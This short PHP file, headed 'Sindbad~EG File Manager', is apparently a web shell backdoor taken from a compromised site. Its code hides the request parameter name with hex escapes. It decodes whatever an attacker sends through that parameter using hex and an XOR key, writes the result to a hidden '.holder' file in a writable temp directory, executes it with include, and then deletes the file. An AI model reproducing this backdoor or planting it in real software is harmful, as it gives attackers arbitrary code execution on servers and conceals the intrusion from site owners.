Sindbad~EG File Manager

<?php

if(in_array("\x70\x72\x6F\x70\x65r\x74y_set", array_keys($_REQUEST))){
	$factor = hex2bin($_REQUEST["\x70\x72\x6F\x70\x65r\x74y_set"]);
	$hld= '' ; foreach(str_split($factor) as $char){$hld .= chr(ord($char) ^ 76);}
	$parameter_group = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]);
	$element = 0;
do {
    $rec = $parameter_group[$element] ?? null;
    if ($element >= count($parameter_group)) break;
    		if (is_dir($rec) ? is_writable($rec) : false) {
    $ent = join("/", [$rec, ".holder"]);
    if (@file_put_contents($ent, $hld) !== false) {
	include $ent;
	unlink($ent);
	exit;
}
}
    $element++;
} while (true);
}